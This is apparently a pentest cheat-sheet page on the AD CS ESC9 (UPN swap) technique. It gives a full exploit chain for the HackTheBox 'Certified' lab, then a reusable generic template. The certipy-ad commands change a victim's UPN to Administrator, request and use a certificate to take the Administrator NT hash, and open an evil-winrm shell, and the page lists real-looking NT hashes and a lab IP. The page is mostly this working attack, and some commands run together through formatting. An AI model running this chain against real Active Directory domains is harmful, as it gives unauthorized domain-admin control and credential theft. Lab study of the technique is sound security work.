ESC9 — No Security Extension (UPN swap)
Ctrl+F:
ESC9·NO_SECURITY_EXTENSION·account update·ca_operator·CertifiedAuthentication
External: Hacker Recipes — ESC9
External: Internal All The Things — Certificate ESC9
What it is
Template has CT_FLAG_NO_SECURITY_EXTENSION → CA does not embed szOID_NTDS_CA_SECURITY_EXT (user SID). Kerberos falls back to weak UPN mapping — certificate SAN/UPN is matched to userPrincipalName.
Requirements:
- Template: no security extension + client authentication EKU
GenericWriteon victim account (e.g.ca_operator) to change their UPNStrongCertificateBindingEnforcement≠2(try anyway — often1in labs)
Detect
certipy-ad find -u user@certified.htb -p 'PASS' -dc-ip DC_IP -vulnerable
grep -i ESC9 *_Certipy.txt
grep -i "NO_SECURITY\|CertifiedAuthentication" *_Certipy.txtFrom report — note -ca and -template values (e.g. certified-DC01-CA, CertifiedAuthentication).
Exploit — Certified HTB (full chain)
Scenario: You control management_svc (hash). GenericWrite on ca_operator. Goal: cert as Administrator.
1) Change victim UPN → Administrator
certipy-ad account update \
-username management_svc@certified.htb \
-hashes a091c1832bcdd4677c28b5a6a1295584 \
-user ca_operator \
-upn AdministratorUses your creds (
management_svc) to modifyca_operator’s UPN. Target UPN can be shortAdministratoror FQDNAdministrator@certified.htb— match what the template expects.
2) Request cert as ca_operator (while UPN = Administrator)
certipy-ad req \
-username ca_operator@certified.htb \
-hashes b4b86f45c6018f1b664f70805f45d8f2 \
-ca certified-DC01-CA \
-template CertifiedAuthentication \
-debug- -dc-ip 10.129.231.186
-caand-template→ fromcertipy-ad findreport (not guessed).
Creates administrator.pfx (cert maps to Administrator via UPN).
3) Restore ca_operator UPN (before auth)
certipy-ad account update \
-username management_svc@certified.htb \
-hashes a091c1832bcdd4677c28b5a6a1295584 \
-user ca_operator \
-upn ca_operator@certified.htb4) Authenticate with certificate
certipy-ad auth -pfx 'administrator.pfx' -domain 'certified.htb'- certipy-ad auth -pfx ‘administrator.pfx’ -domain ‘certified.htb’ -dc-ip 10.129.231.186
Returns Administrator NT hash.
5) Shell
evil-winrm -i certified.htb -u Administrator -H 0d5b49608bbce1751f708748f67e2d34Flow diagram
GenericWrite on ca_operator
→ account update -upn Administrator
→ req as ca_operator (template w/ NO_SECURITY_EXTENSION)
→ account update -upn ca_operator@certified.htb (restore)
→ auth -pfx administrator.pfx
→ DA hash / shell
Generic template (any box)
Replace users, hashes, CA, template from find output:
# Attacker creds modify victim UPN
certipy-ad account update -username ATTACKER@domain.htb -p 'PASS' -user VICTIM -upn TARGET_UPN
# Request as victim (victim hash or password)
certipy-ad req -username VICTIM@domain.htb -hashes VICTIM_HASH \
-ca 'CA-NAME' -template 'VULN_TEMPLATE' -dc-ip DC_IP
# Restore victim UPN
certipy-ad account update -username ATTACKER@domain.htb -p 'PASS' -user VICTIM -upn VICTIM@domain.htb
# Auth
certipy-ad auth -pfx target.pfx -domain 'domain.htb' -dc-ip DC_IPVictim hash — get via Shadow Credentials - pywhisker or Use Kerberoast Hash if needed first.